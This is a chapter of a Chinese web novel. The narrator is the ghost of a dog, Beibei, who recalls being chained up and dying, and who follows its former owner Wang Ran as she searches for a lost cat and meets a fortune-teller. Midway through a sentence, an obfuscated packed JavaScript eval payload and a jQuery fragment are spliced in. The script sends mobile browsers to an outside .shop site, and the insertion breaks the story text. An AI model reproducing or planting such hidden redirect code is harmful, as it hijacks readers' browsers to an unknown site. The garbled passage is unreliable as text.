“贝贝……其实我也挺对不起她的……她当时怎么就要追着人跑嘛。可当时我家那里也算是个路口,所以她就只能被拴起来了。我太对不起她了。后来,我上初中就开始住校了,一个星期回家一次。她是病死的,直到她死之前我都不知道她生病了,但其实那天是有点奇怪的。我……可能就不应该养猫狗吧……”
她的声音在风中游荡,我的神思随着这声音一起游荡着,朦胧的眼中浮现出往日清晰的画面。
那是十六年前的一天,不到三个月大的我跟着妈妈在小木屋玩。
这时候11岁的她来到这家找同龄的小伙伴玩,一眼就看中了我,目光留恋在我身上根本挪不开。那双满眼是我还冒着星星的眼睛,我现在都还深深记得。
她当天就把我抱在怀里带回家了。那时候的我身体圆润,她把我抱在怀里小心翼翼又笑容满怀。
她属于先斩后奏了,大人们起初很是生气并不接受我,但由于她的执拗,我还是在这个家落户了。
但很快我乱拉屎的坏习惯就暴露了。
我母亲是一个杂种黄色狼狗,她高大威猛,非常强壮。我们这一胎有五个兄弟姐妹,长大后就陆续有人来领养了。
我最开始是被一个老太太抱去的。但是她过去几天把我送回去了。因为这几天的时间里我展露了一个小狗身上的淘气和一些坏习惯,譬如随地乱拉屎……
到了新家,我当时想好好藏着的来着,但我被本能驱动着,不知如何是好。
她拧着眉毛瘪着小嘴一脸愁云惨淡地看着我,我好担心她把我再送回去。但她并没有,她跟在我后面拿着铲子铲屎,并且教我拉屎要去外面土里拉。
但她当时有些不得其法。我当时身体和脑袋都挺像包子的,也不能一口吃成一个胖子。不过好在后来有了她爷爷的耐心辅助,我这个臭毛病渐渐扭转过来了。
真是皆大欢喜呀。
我和她最快乐的时光,就是那个暑假,我们在山坡上漫山遍野奔跑的时候。
我虽然远没有她的腿长,但我有四条腿啊,论爬坡时候的耐力,我可不遑多让。
当时我像一个小黑球,小腿儿抡得可快了,很快就跑了好长一截坡,一回头她已经远远落后,并且叉腰一副岔气的样子,摆着手。我蹦蹦跳跳着折返回去。她红扑扑的脸上汗水一道道从头顶淌下,那时候她新汗的味道和青草的芬芳一样香甜。
我当时虽四肢粗壮有力,但腿短个矮。所以有一次我们跑到一块荒土里,她站到了一块颇高的大石头上,我四顾茫然,着急地寻找她的身影。
明明她香香的味道就在这里,可我看不见她。那时第一次遇到这样的情况,我还不知道把圆润的大脑袋抬起来瞧一瞧。
我着急地哼唧着,她爽朗的笑声突然出现在头顶上方。我抬头看见她,原来她一直都看着我呢。我高兴地甩起尾巴,吐着舌头咧嘴笑起来,蹦着跳着。
她嘿嘿笑着,蹲下来吐着舌头,像我一样咧嘴哈气。
她时常这样,会学着我的模样,对着我吐着舌头学我哈气。哈完气看到我吐着舌头喜笑颜开之后,她也会笑着摸摸我的头,把我揽入她的怀中。
每天早上我都会跑上楼去叫醒她。她的床单挂出来的地方有一个洞,起初还是一个小小的洞,但后来被我日复一日的撕咬给撕扯大了。
我总是撕咬住床单破洞的边缘,如同走火入魔陷入狂乱的江湖侠客在那摇头晃脑、颠来倒去。
这床单的破洞如同遭受了严酷的鞭刑,那一块变得一条一条的。再过一段时间,中间就只剩下非常细的一条了。
当时她也会吼我,但气不过两秒,做做样子,第三秒的时候就会看着我笑出来。
于是我像是收到了鼓励一般,撕咬得更起劲儿了。有时候大人闻声进来的时候,她还会帮我打掩护,忙把那个大洞扯到被子里藏起来,而我则是从江湖狂侠秒变千金淑女,端坐在地,朝大人咧嘴吐舌。
不知有多少人被说过“没有小姐的命一身小姐的病”这句话,连我一条狗都被说过。
虽然后面的事情不太开心,但当时她抱着我痛哭流涕着给我念她日记的样子,实在是令闻狗伤心,见犬捧腹。
她把日记摆在我面前,指着我哭着控诉到:“你,就像一个富家千金,骄纵任性,你的烂脾气,已经要让你从自由身变被锁在铁链上了……你就不能改一改嘛——”
她后面用近乎求我的语气痛彻心扉般说着,我似乎开始了反思,但又被她“哇”的一声大哭给弄着急,一时就忘了。
所以后面我就被大人用项圈套住,用几米长的铁链栓到柱子上了,这一拴就是三年,直到死去。
能怪谁呢?
要是那时候我可以聪明一些就好了。
那时候我的脑容量怕是比那个傻肥猫大不了多少。
怎么就改不掉要追着路人跑的坏习惯呢!
家里算是一个小路口,每天时不时有人从院子外经过。
当时小小的我对路过的每一个人都带着五分护家使命和五分的逗弄玩耍,在人家脚后跟后面“汪汪汪”追着叫。
他们一再阻止,可我死性不改。
那之后的往后余生,我便失去了自由,日子就没那么快乐了。
再往后,她据说是上了初中,开始住校。每五天才能回来一次,一次回来两天。我的人生陷入了长长的禁锢和思念当中。
在我的人生走完第四个年头的某一天,我的身体突然有些不舒服了。
那时候正值农忙季节,大人们无暇也无心顾及我。我知道自己的身体状况急转直下,我预感到了自己的死亡。但我还没有等到她回家,在我死前我怎么也得再看看她啊。就在我觉得自己撑不到第五天的时候,她竟然提前回来了。
我如愿了。在那个晚上我眼前浮现出了从前所有的快乐时光,跟母亲和兄弟姐妹的,更多的是与她一起的。
那些一去不复返的美好时光随着她的声音一一闪现,我的眼眶早已盈不住泪水,坠进了地上的猫粮里。
我赶紧调转方向,望向天空。
夜色像她小时候打翻的蓝墨水。
她的声音还在后面飘飘荡荡。
“我真的觉得好神奇,我想她真的一直在撑着,撑到我回来看我最后一眼才死的。也很神奇的是,那个星期我们突然放假,也不是什么节假日。那天我去给她喂饭的时候,她根本顾不上吃饭,就扒拉着我对我甩着尾巴想要过来抱我。可是……可是我那天什么也没有看出来,我也没有多摸摸她。结果第二天,第二天醒来的时候她就已经……”
她啜泣了两声,接着说到,“我真的很对不起她呀,被铁链拴着怎么会快乐呢!我后面十年多不再想养狗的事情,谁知道两年前竟然和猫产生了羁绊。《小王子》的电影里说‘如果你想要和别人制造羁绊,就要承担流泪的风险’。我愿意承担羁绊带来的风险,可我没想过是这样带着深深愧疚的风险。它们都是我的玫瑰,可我却是那样对不起它们。”
我心间如同风吹涟漪,波动不停,回眸看向她,她低着头,眼泪无声滴落,看起来惭愧又痛心。
她接着说到:“不知道死了之后是怎样的光景,不知道有没有轮回转世一说。如果有,贝贝应该早就已经投胎了吧。但我还是在心里拜托了她,希望……如果米扎已经到了那边,初来乍到的,希望她可以照顾一下。我把纸钱一起烧给它了,因为……因为我不想烧!我也不知道该不该烧!不知道该烧在哪里……太可笑了,太可悲了,都是报应!可怎么报应到了它们身上……”
簌簌眼泪留下后,她抬眼望了望东方的天空。
东方既白,晨光熹微。
清晨第一缕阳光斜照下来,似乎清洗了她这一夜的诸多难过和疲倦。
她去旁边的河沟捞水洗了两把脸,这时对面响起了卷帘门抬起的哐啷声。
她抬头望去,如同看向了清晨的第二缕阳光。
那家人打开卷帘门之后忙碌着,而她回到了刚才的花坛边坐下,有意无意地一下下望着那边。我不明所以。
这时候一声沙哑猫叫声从花坛的杂草中传来,她猛然抬头,脸上惊喜的神色都快飞出来,但很快眉毛嘴角和脸上的肌肉都塌了下来,落寞的神情一览无余,看起来如受重击。
一只骨瘦如柴的猫努力夹着沙哑的嗓子走了过来。似乎是闻到她身上的猫味和旁边的猫粮味,大胆地过来蹭了蹭她。
她虽失望,但也像对待那两只一样一声一声地回应着他。当然,因为语言不通,所以基本回的都是各种上扬声调的“嗯?”
“嗯?嗯?哎呦,你好亲人哟!”
雀猫看起来满面忧愁,由于太瘦,正脸看过去倒显得大头细身。
她忙把袋子里剩下的猫粮都倒给了他,一点也没留。
那猫蹲在地上吃着,身形看起来触目惊心,像是一条骨头架子蹲在那里。
王冉轻轻叹着气看着他吃,抬头看看对面,那家人已经忙活好了。她便走过去了,早已从胸口钻进她外套里的我,自然也跟了过去。
她满脸堆笑,朝那个五十多岁身穿灰衣绑着低马尾的女人,像雀猫一样提着自己有些暗哑的声音,“嬢嬢,昨天你在植物园这边看到像我的那只猫了呀?”笑容在她脸上凝固了一瞬,她回头指向正在花坛下吃着猫粮的雀猫,“不可能就是那只吧?”
郝老三看了一眼笑着高声回到,“哎,就是那只!”
我仰头看到她的嘴角轻颤两下,眼底划过无奈的苦涩。
她依旧带着浅浅的笑意,故作轻松地说到,“哦,那……那个不是我的那只。您看这样行吗,我们加个微信吧,我把我猫的照片发几张给你,你要是突然遇到了可以直接联系我。”
“好!”郝老三爽快答应,“这边你贴的那个我昨天去看号码那里被撕了,我就打电话通知的你隔壁家的。我看起来都差不多呢,都是麻的,还以为是你那只。原来不是哟。”
我听到她胸腔哽了一下,她顿了一下把那股气压下去了,加好微信后发了几张图片过去,她打开图片耐心说着,“我这只它的四只脚是白的,脖子胸口这里的毛也是白的……”她一点一点一字一字地将米扎的特点尽可能告诉对方,但又担心自己太啰嗦说太多,或者有些特征根本是他们不能接近、看不到的。所以她也有些不好意思,尴尬地笑着补充了一句,“可能这些地方你们要是遇到也不好看到。”
她再次深深地表达了感谢,回到了花坛那边。
路过马路,她的肩膀重重沉了下来,泄出一大口气。
无力地坐下来,看着这只还在埋头狼吞虎咽的雀猫。她大概是在看着他的样子想象着米扎在外面也瘦成这副股骨头架子的惨样吧。
随即她摇了摇头,嘀咕到,“农村的野猫不至于混得这样瘦吧……”她打开手机看了一会儿,突然眼前一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540371|203196||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亮,看看手机又看看那只雀猫。
她竟然搜索到了这只猫的寻猫启事,顺着电话打过去,竟然找到了这只猫的主人。她脸上出现欣慰的笑容,并且一口答应下来自己会把猫给那人送过去。
她兴奋地站起来,原地转了两圈,想到了什么。给这猫加了点猫粮,跟他说就在这儿等她几分钟哦。她跑去刚才那个垃圾箱把帆布包捡了回来。
她过来对雀猫说了些让它要乖她马上带他去找主人的话。
其实呢,虽然他们之间语言不通,但都说了一回事。雀猫刚才也在拜托她帮忙找主人。
她双手小心地靠近,穿在他咯吱窝下面,轻轻把他抱了起来。
抱起来的那一瞬间她不禁瞪大了眼,轻声震惊到:“天哪,这么轻!轻飘飘地就把你抱起来了!我的天哪,看起来瘦但也没想到这么夸张……”
她一边轻声念叨哄着,一边将这雀猫装进帆布包。虽然一个人比较难装,但好在这雀猫没那两只犟,十分乖顺配合。他虽不一定眼前这人会带他去找主人,但她能闻到这人身上对猫的善意。
她顺利把猫装进帆布袋里,小心捏着让它出气的地方,以免钻了出来。
打车之际,看到那边一辆小货车在这小广场就地支起了一个水果摊子,她便过去称了几斤桃子,带去给了郝老三。
郝老三笑着拒绝着。
她说到,“没得事,真的很感谢您。有人愿意提供点消息还是很不容易的。以后要是再看到麻烦你还是跟我讲一声哦。谢谢啦!”
她说完,车也到了,便打了招呼,放下那袋桃子,坐车离开了。
城里可真是车水马龙,人声喧哗。
王冉把雀猫给丢失的人送过去了后,到了一个公交车站等着车。
她去旁边的包子铺买了两个包子和一杯小米粥,有人拉着一筐花束在早餐店外找了个位置摆起来。她经过瞧了瞧,走回公交站,吃着包子一眼没一眼地看着各处。
一辆黑色汽车停到对面的海鲜市场外,一个身形挺拔的男人从车上走了下来。王冉愣了愣,绕步走到广告牌后面躲了起来,轻叹一口气,又冒出脑袋去看了看。
什么男人?还至于躲起来?老师同学前男友?债主仇人意难平?
我跟着从她怀里探出头来。
这人看起来三十出头的年纪,打着发胶梳着背头,白衣黑裤,面容俊朗,也算是仪表堂堂。我的记忆储存库里并没有过这个人。
对了,听米扎提起过,说是在他离世之前王冉被家里安排去相过亲。难不成就是这人?这几日竟没听到什么动静?难道已经是相亲对象了?所以看到才会那么尴尬。
王冉看到对方走进了海鲜市场后,又叹了口气,我听出了一丝轻松和烦难。
她刚松下来一口气,被身后忽然传来的声音猛然下了一跳,连忙转扭头转身。
“小姑娘——”一个满脸皱纹的老太又用苍老的声音叫了她一声。
她惊魂未定,迅速打量了一下此人。这人头发花白拢在脑后、身材圆胖、戴着带链的老花镜。
王冉看清后轻轻沉了一口气,“怎么了?你想问去哪里怎么坐车吗?”
老太面带一股微笑,苍老的声音阴恻恻说到,“姑娘,你身上不干净!”
“啊?”王冉低下头瞧瞧,又把自己浑身上下看了看,甚至要打开手机相机看自己的脸了。
那老太深深凹陷下去的眼窝里,两颗眼珠小却黑亮,目光如炬,看向王冉的胸口,亦或是——外套下的我,微微靠前,声音如同一道阴风吹过来,“你身上——有鬼!”
王冉愣了一瞬,生气地倒吸一口气又用鼻子排出来,往旁边走开了几步,什么也没说。
白发老太跟了上来,她这几步走的甚是轻盈。她站到王冉身旁,一副也在等车的样子,“真的有鬼。你跟我来。”她挑了挑布满沟壑的眉骨,拇指和食指的指腹搭在一起摩擦了两下,“我帮你把它收了,只要一点小钱。收了再给钱也行。”
王冉拿出手机对着她,“你再跟着我胡说八道我报警了!”
这时来了一趟公交车,王冉挪几步站到车门预计停靠的地方,度秒如年。
白发老太见状掏出一张小卡片,“你如果现在不信,那有需要的时候再联系我也行。不过到时候可得加钱哦。”
“神经病!”王冉握着手机双手环胸,车门一开就大步走了上去,但忽然想到什么,又转身朝车门外的白发老太问到:“你说的……是一只猫吗?”
“是一只狗!”老太一副深不可测的微笑看着我对她说到,“还是一条陈年老狗。”
王冉哂笑一声,“我问猫你就说是狗,你怎么不说是只刺猬呢!”
车门关闭,王冉用手机刷了一下就随着公交车一起离开了。
她盯着被甩在后面但还瞧着她的白发老太,紧闭双眼揉了揉眉心。
而我知道,那白发老太不仅是在盯她这个意象雇主,也是在盯我。
我听说过,人间有一种捉鬼师。或者按照这老太的形象和人间的叫法,叫作神婆。
他们有时候抓一次鬼赚的是两份钱,鬼在他们手里一进一出……
好在现在是在光天化日下,鬼无法作祟,这捉鬼老太也不能当众就施法。
鬼月……确实在地府的时候也偶有耳闻,有的鬼魂明明都要排到投胎转世的名额了,但在鬼月来阳间探亲一次后却不见所踪。